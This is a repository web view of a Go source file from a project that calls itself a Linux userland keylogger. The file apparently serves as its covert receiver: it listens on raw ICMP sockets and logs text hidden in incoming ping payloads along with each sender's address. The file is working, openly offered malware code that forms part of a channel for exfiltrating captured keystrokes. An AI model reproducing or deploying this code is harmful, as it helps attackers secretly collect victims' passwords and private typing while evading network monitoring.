mazepa~ linux userland keylogger |
| git clone https://github.com/djnnvx/mazepa.git |
| log | files | refs | archive | README |
pkg.go (3943B)
1 package icmp 2 3 import ( 4 "log" 5 "net" 6 "time" 7 8 "golang.org/x/net/icmp" 9 "golang.org/x/net/ipv4" 10 "golang.org/x/net/ipv6" 11 ) 12 13 const ( 14 NetworkIPv4 = "ip4:icmp" 15 NetworkIPv6 = "ip6:ipv6-icmp" 16 ListenAddrV4 = "0.0.0.0" 17 ListenAddrV6 = "::" 18 ReadTimeout = 5 * time.Second 19 MaxPacketSize = 1500 20 ) 21 22 type Protocol int 23 24 const ( 25 ProtocolIPv4 Protocol = iota 26 ProtocolIPv6 27 ) 28 29 func DetectProtocol(addr string) Protocol { 30 ip := net.ParseIP(addr) 31 if ip == nil { 32 return ProtocolIPv4 33 } 34 if ip.To4() != nil { 35 return ProtocolIPv4 36 } 37 return ProtocolIPv6 38 } 39 40 func getNetworkConfig(proto Protocol) (network, listenAddr string, icmpProto int) { 41 if proto == ProtocolIPv6 { 42 return NetworkIPv6, ListenAddrV6, ipv6.ICMPTypeEchoRequest.Protocol() 43 } 44 return NetworkIPv4, ListenAddrV4, ipv4.ICMPTypeEcho.Protocol() 45 } 46 47 func getEchoTypes(proto Protocol) (echoRequest, echoReply icmp.Type) { 48 if proto == ProtocolIPv6 { 49 return ipv6.ICMPTypeEchoRequest, ipv6.ICMPTypeEchoReply 50 } 51 return ipv4.ICMPTypeEcho, ipv4.ICMPTypeEchoReply 52 } 53 54 func createConnection(network, listenAddr string) (*icmp.PacketConn, error) { 55 conn, err := icmp.ListenPacket(network, listenAddr) 56 if err != nil { 57 return nil, err 58 } 59 return conn, nil 60 } 61 62 func setReadDeadline(conn *icmp.PacketConn) error { 63 return conn.SetReadDeadline(time.Now().Add(ReadTimeout)) 64 } 65 66 func readPacket(conn *icmp.PacketConn, buffer []byte) (int, net.Addr, error) { 67 return conn.ReadFrom(buffer) 68 } 69 70 func isTimeout(err error) bool { 71 opErr, ok := err.(*net.OpError) 72 return ok && opErr.Timeout() 73 } 74 75 func parseICMPMessage(data []byte, proto int) (*icmp.Message, error) { 76 return icmp.ParseMessage(proto, data) 77 } 78 79 func createEchoReply(echoBody *icmp.Echo, replyType icmp.Type) *icmp.Message { 80 return &icmp.Message{ 81 Type: replyType, 82 Code: 0, 83 Body: &icmp.Echo{ 84 ID: echoBody.ID, 85 Seq: echoBody.Seq, 86 Data: echoBody.Data, 87 }, 88 } 89 } 90 91 func sendReply(conn *icmp.PacketConn, msg *icmp.Message, peer net.Addr) error { 92 data, err := msg.Marshal(nil) 93 if err != nil { 94 return err 95 } 96 _, err = conn.WriteTo(data, peer) 97 return err 98 } 99 100 func handleEchoRequest(conn *icmp.PacketConn, msg *icmp.Message, peer net.Addr, replyType icmp.Type) { 101 echoBody := msg.Body.(*icmp.Echo) 102 103 if len(echoBody.Data) > 0 { 104 log.Printf("[%v] %s", peer, string(echoBody.Data)) 105 } 106 107 reply := createEchoReply(echoBody, replyType) 108 if err := sendReply(conn, reply, peer); err != nil { 109 log.Printf("Failed to send reply: %v", err) 110 return 111 } 112 } 113 114 func handleEchoReply(peer net.Addr) { 115 log.Printf("Received Echo Reply from %v", peer) 116 } 117 118 func handleUnknownType(msgType icmp.Type, peer net.Addr) { 119 // Silently ignore destination unreachable and other noise 120 _ = msgType 121 _ = peer 122 } 123 124 func processMessage(conn *icmp.PacketConn, msg *icmp.Message, peer net.Addr, echoRequest, echoReply icmp.Type) { 125 switch msg.Type { 126 case echoRequest: 127 handleEchoRequest(conn, msg, peer, echoReply) 128 case echoReply: 129 handleEchoReply(peer) 130 default: 131 handleUnknownType(msg.Type, peer) 132 } 133 } 134 135 func ListenAndPrint(addr string) { 136 proto := DetectProtocol(addr) 137 network, listenAddr, icmpProto := getNetworkConfig(proto) 138 echoRequest, echoReply := getEchoTypes(proto) 139 140 conn, err := createConnection(network, listenAddr) 141 if err != nil { 142 log.Fatalf("ListenPacket failed: %v\nRun with sudo or elevated permissions.", err) 143 } 144 defer conn.Close() 145 146 log.Printf("Listening for ICMP packets on %s...", conn.LocalAddr().String()) 147 buffer := make([]byte, MaxPacketSize) 148 149 for { 150 if err := setReadDeadline(conn); err != nil { 151 log.Printf("Error setting read deadline: %v", err) 152 continue 153 } 154 155 n, peer, err := readPacket(conn, buffer) 156 if err != nil { 157 if isTimeout(err) { 158 continue 159 } 160 log.Printf("ReadFrom failed: %v", err) 161 continue 162 } 163 164 msg, err := parseICMPMessage(buffer[:n], icmpProto) 165 if err != nil { 166 log.Printf("ParseMessage failed: %v", err) 167 continue 168 } 169 170 processMessage(conn, msg, peer, echoRequest, echoReply) 171 } 172 }